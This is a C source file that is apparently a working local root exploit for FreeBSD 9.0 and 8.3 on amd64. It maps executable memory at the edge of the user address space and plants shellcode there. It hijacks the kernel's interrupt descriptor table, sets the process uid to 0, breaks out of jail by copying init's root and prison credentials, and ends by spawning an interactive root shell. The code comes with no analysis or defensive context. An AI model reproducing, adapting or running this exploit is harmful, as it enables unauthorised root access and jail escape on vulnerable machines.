#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define _WANT_UCRED
#include <sys/ucred.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/proc.h>
#include <sys/param.h>
#include <sys/linker.h>
#include <sys/utsname.h>

#include <machine/segments.h>
#include <machine/intr_machdep.h>

#define STATIC_OFFSET 0x250

struct gate_descriptor *gt;
void *uaddr, *ustack;

unsigned char shellcode[] = 
  "\x48\xb8\x18\x00\x00\x00\x00\x00\x00\x00" // mov rax, 0x14
  "\x48\xba\x00\x00\x20\x00\x00\x8e\x00\x00" // mov rdx, 0xZZZZ000020XXXX # hijack of the handler PF at 0x00000000ZZZZXXXX
  "\x48\xbc\xb0\x41\x18\x81\xff\xff\xff\xff" // mov rsp, 0xRRRRRRRRRRRRRR # (idt + 0x250)
  "\x0f\x05"; 	 			     //	syscall 

struct restore_entry {
	u_char idx;
	u_char dpl;
	void *addr;
	u_char name[10];
} entries[]  = {{ 0, 	  0, NULL, "idt0" },
		{ 0,  	  0, NULL, "Xrsvd"},
		{ IDT_DE, 0, NULL, "Xdiv" },
		{ IDT_DB, 0, NULL, "Xdbg" },
		{ IDT_NMI,2, NULL, "Xnmi" },
		{ IDT_BP, 0, NULL, "Xbpt" },
		{ IDT_OF, 0, NULL, "Xofl" }, 
		{ IDT_BR, 0, NULL, "Xbnd" }, 
		{ IDT_UD, 0, NULL, "Xill" },
		{ IDT_NM, 0, NULL, "Xdna" },
		{ IDT_DF, 1, NULL, "Xdblfault" },
		{ IDT_FPUGP, 0, NULL, "Xfpusegm" },
		{ IDT_TS, 0, NULL, "Xtss" },
		{ IDT_NP, 0, NULL, "Xmissing" },
		{ IDT_SS, 0, NULL, "Xstk"  },
		{ IDT_GP, 0, NULL, "Xprot" },
		{ IDT_PF, 0, NULL, "Xpage" },
		{ IDT_MF, 0, NULL, "Xfpu"  },
		{ IDT_AC, 0, NULL, "Xalign"},
		{ IDT_MC, 0, NULL, "Xmchk" },
		{ IDT_XF, 0, NULL, "Xxmm"  }};

void *
resolve_addr(char *func)
{
	u_int64_t addr = 0;
	struct kld_sym_lookup ksym;

	ksym.version = sizeof(ksym);
	ksym.symname = func;
	
	if(!kldsym(0, KLDSYM_LOOKUP, &ksym)) 
		addr = ksym.symvalue;

	return (void *)addr;
}

void
exit_usermode(void)
{
	system("/bin/sh -i");
	_exit(0);
}

void
setidt(idx, func, typ, dpl, ist)
        int idx;
        void *func;
        int typ;
        int dpl;
        int ist;
{
	struct gate_descriptor *ip;

	ip = gt + idx;
	ip->gd_looffset = (uintptr_t)func;
	ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);
	ip->gd_ist = ist;
	ip->gd_xx = 0;
	ip->gd_type = typ;
	ip->gd_dpl = dpl;
	ip->gd_p = 1;
	ip->gd_hioffset = ((uintptr_t)func)>>16 ;
}

void
check_version()
{
	struct utsname uts;
	uname(&uts);

	if(!(!strncmp(uts.version, "FreeBSD 9.0", 11) ||
	     !strncmp(uts.version, "FreeBSD 8.3", 11))) {
		fprintf(stderr, "Not vulnerable. FreeBSD 9.0 and 8.3 only!\n");
		_exit(1);
	}
}

void
kernel_code(void)
{
	int x, i;
	struct thread *td;
	struct proc *parent;

	__asm("movq %r10, %rsp");	

	for(x = 0; x < 29; x ++) {
		setidt(x, (void *)entries[1].addr, SDT_SYSIGT, SEL_KPL, 0);
	}

	for(x = 2; x < sizeof(entries) / sizeof(struct restore_entry); x ++) {
		setidt(entries[x].idx, entries[x].addr, SDT_SYSIGT, SEL_KPL, entries[x].dpl);
	}
	
	asm volatile ( "swapgs\n" 
				   "movq %%gs:0, %0":"=r"(td) );

	td->td_proc->p_ucred->cr_uid = 0;
	
	parent = td->td_proc;
	while (parent->p_pptr && parent->p_pid != 1)
		parent = parent->p_pptr;

	td->td_proc->p_fd->fd_rdir = parent->p_fd->fd_rdir;
	td->td_proc->p_fd->fd_jdir = parent->p_fd->fd_jdir;
	td->td_proc->p_fd->fd_cdir = parent->p_fd->fd_cdir;
	td->td_proc->p_ucred->cr_prison = parent->p_ucred->cr_prison;

	/* Return in lusermode %) */
	asm volatile ("movq %0, %%rcx\n"
				  "movq %1, %%rsp\n"
				  "swapgs\n"
				  "sysretq"::"r"(uaddr),"r"(ustack)); 
}

int
main(int argc, char *argv[])
{
	int x;
	u_short high, low;
	u_int64_t kaddr;

	check_version();

	void *maddr = mmap((void *)0x7ffffffff000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON, -1, 0);
	if(maddr == MAP_FAILED) {
		perror("Error mmaped address");
		return -1;
	}

	memset(maddr, 0x90, 0x1000);
	memcpy(maddr + 0x1000 - (sizeof(shellcode) - 1), shellcode, sizeof(shellcode) - 1);

	/* Resolve all addresses */
	for(x = 0; x < sizeof(entries) / sizeof(struct restore_entry); x ++) {
		entries[x].addr = resolve_addr(entries[x].name);
		if(entries[x].addr == NULL) {
			printf("Can't resolve address for function %s\n", entries[x].name);
			return -1;
		}
	}

	gt = entries[0].addr;

	kaddr = (u_int64_t)&kernel_code;
	uaddr = &exit_usermode;
	__asm("movq %%rsp, %0" : "=m"(ustack));

	high = (kaddr >> 16);
	low  = (kaddr);

	char *ptr = (char *)0x800000000000 - 20;
	*(u_short *)ptr = low;
	ptr = (char *)0x800000000000 - 14;
	*(u_short *)ptr = high; 
	ptr = (char *)0x800000000000 - 10;
	*(u_int64_t *)ptr = (u_int64_t)((char *)gt + STATIC_OFFSET);

	(*(void(*)()) maddr)();
}